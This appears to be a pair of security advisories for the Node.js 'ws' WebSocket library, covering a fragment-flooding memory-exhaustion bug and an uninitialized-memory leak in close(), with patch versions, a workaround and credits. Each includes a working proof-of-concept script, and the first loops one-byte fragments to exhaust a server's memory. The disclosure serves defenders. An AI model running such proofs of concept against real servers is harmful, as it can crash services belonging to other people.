Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

js import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(1); const options = { fin: false }; const { port } = wss.address(); const ws = new WebSocket(ws://localhost:${port});

ws.on('open', function () { (function send() { ws.send(data, options, function (err) { if (err) return; send(); }); })(); });

ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(client close - code: ${code} reason: ${reason.toString()}); }); });

wss.on('connection', function (ws) { ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(server close - code: ${code} reason: ${reason.toString()}); }); });

Patches

The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

Impact

The websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument.

Proof of concept

js import { deepStrictEqual } from 'node:assert'; import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer( { port: 0, skipUTF8Validation: true }, function () { const { port } = wss.address(); const ws = new WebSocket(ws://localhost:${port}, { skipUTF8Validation: true });

ws.on('close', function (code, reason) { deepStrictEqual(reason, Buffer.alloc(80)); }); } );

wss.on('connection', function (ws) { ws.close(1000, new Float32Array(20)); });

Patches

The vulnerability was fixed in ws@8.20.1 (https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086).

Credits

Credit for the private and responsible disclosure of this issue goes to Nikita Skovoroda.

Remarks

Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.

Resources

- https://github.com/advisories/GHSA-58qx-3vcg-4xpx - https://www.cve.org/CVERecord?id=CVE-2026-45736